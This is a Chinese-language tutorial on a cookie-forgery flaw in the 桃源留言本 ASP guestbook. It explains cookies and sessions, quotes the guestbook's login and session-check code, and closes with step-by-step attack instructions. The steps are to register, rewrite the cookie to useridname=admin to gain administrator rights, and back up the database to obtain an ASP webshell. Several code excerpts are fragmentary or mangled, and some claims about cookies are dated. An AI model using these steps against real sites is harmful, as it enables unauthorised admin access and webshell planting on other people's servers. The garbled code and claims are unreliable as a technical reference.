三.cookies漏洞
概念:Cookies是什么?
Cookies现在经常被大家提到,那么到底什么是Cookies,它有什么作用呢?Cookies是一种能够让网站服务器把少量数据储存到客户端的硬盘或
内存,或是从客户端的硬盘读取数据的一种技术。Cookies是当你浏览某网站时,由Web服务器置于你硬盘上的一个非常小的文本文件,它可以
记录你的用户ID、密码、浏览过的网页、停留的时间等信息。
当你再次来到该网站时,网站通过读取Cookies,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用
输入ID、密码就直接登录等等。从本质上讲,它可以看作是你的身份证。但Cookies不能作为代码执行,也不会传送病毒,且为你所专有,并只
能由提供它的服务器来读取。保存的信息片断以“名/值”对(name-value pairs)的形式储存,一个“名/值”对仅仅是一条命名的数据。一个
网站只能取得它放在你的电脑中的信息,它无法从其它的Cookies文件中取得信息,也无法得到你的电脑上的其它任何东西。 Cookies中的内容
大多数经过了加密处理,因此一般用户看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。
由于Cookies是我们浏览的网站传输到用户计算机硬盘中的文本文件或内存中的数据,因此它在硬盘中存放的位置与使用的操作系统和浏览
器密切相关。在Windows 9X系统计算机中,Cookies文件的存放位置为C:/Windows/Cookies,在Windows NT/2000/XP的计算机中,Cookies文件
的存放位置为C:/Documents and Settings/用户名/Cookies。
硬盘中的Cookies文件可以被Web浏览器读取,它的命令格式为:用户名@网站地址[数字].txt。如笔者计算机中的一个Cookies文件名为:
ch@163[1].txt。要注意的是:硬盘中的Cookies属于文本文件,不是程序。
ly=useridpassword=admin&admin=1&useridname=admin; ASPSESSIONIDCCRSQSBR=DHNJNGHCJDMBNHAFCCKJOLPP
拿桃源留言本为例子:
读到login.asp,发现如下代码:
response.cookies("ly").Path=cookiePath
response.cookies("ly")("useridname")=name
response.cookies("ly")("useridpassword")=pass
if rs("level1")="管理员"
then response.cookies("ly")("admin")=1
else if rs("level1")="版主" then response.cookies("ly")("admin")=2
else response.cookies("ly")("admin")=0
当name=admin时
response.cookies("ly").Path=cookiePath
response.cookies("ly")("useridname")=name
response.cookies("ly")("useridpassword")=pass
示意语句//session{"useridname")=cookies("useridname")
if session("useridname")<>"" then
rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1
if not rs.eof then
if rs("level1")="管理员" then session("admin")=1
if rs("level1")="版主" then session("admin")=2
if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0
else
session("admin")=0
end if
cookies里的admin这个变量我们可以自己制定,这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies
的浏览器,比较方便。但是发现没有用的。再default.asp中有:
if session("useridname")<>"" then
rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1
if not rs.eof then
if rs("level1")="管理员" then session("admin")=1
if rs("level1")="版主" then session("admin")=2
if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0
else
session("admin")=0
end if
这就是加了session认证。
ly=useridpassword=771691&admin=1&useridname=771691; ASPSESSIONIDCCRSQSBR=DHNJNGHCJDMBNHAFCCKJOLPP
概念:session是什么?
一、session概述
session是什么,刚开始我也不明白,非专业词典翻译为会议,会议期。作个不太恰当的比喻吧
(虽然不恰当,但意义却是一样的),session是你和网站之间的感情。 session在WEB技术中占有非常重要的份量。由于网页是一种无状态的
连接程序,因此你无法得知用户的浏览状态。因此我们必须
通过session记录用户的有关信息,以供用户再次以此身份对web服务器提供要求时作确认,例
如,我们在某些网站中常常要求用户登录, 但我们怎么知道用户已经登录了呢,如果没有session的话,登录信息是无法保留的,那岂不要让
用户在每一页网页中都要提供用户名和密码。
当然,session不光用于用户身份认证功能,还可能用于其它方面,以后我们会提到的。 session用中文来解释就是会话期。一个会话期开始于
用户输入一个站点的网址时,结束于他离开这个站点时。session最早出现在动态脚本语言Active Server Pages中,它的功能之强大,是一句
话无法说清楚的。
session例子:
1.asp
cookies 过滤
session("admin")=1
2.asp
<%if session("admin")<>1 then response.Redirect "default.asp"%>
then
管理员
else
非管理员
浏览1.asp之后浏览2.asp 将显示你为管理员
此留言本无后台,只要是管理员就可以前台进行管理操作。而每个有管理功能的页面都是这样:
<%if session("admin")<>1 then response.Redirect "default.asp"%>
而且cookies中密码是明文显示的,如:useridpassword=ccc&admin=1&useridname=ccc。这样上面我们注入得到的密码也无法进行
cookies欺骗,除非破解出来才行。不过这样也有个安全因素。cookies中的密码是明文,这样保密性不好,如果被人偷看了,而我们的密码又
和什么邮箱,QQ密码一样,那就惨了.
漏洞攻击方法:
1,注册一个用户
2,将 cookies
ly=useridpassword=771691&admin=1&useridname=771691; ASPSESSIONIDCCRSQSBR=DHNJNGHCJDMBNHAFCCKJOLPP
改成
ly=useridpassword=771691&admin=1&useridname=admin; ASPSESSIONIDCCRSQSBR=DHNJNGHCJDMBNHAFCCKJOLPP
就可以了.
3,后台备份db 得到aspsehll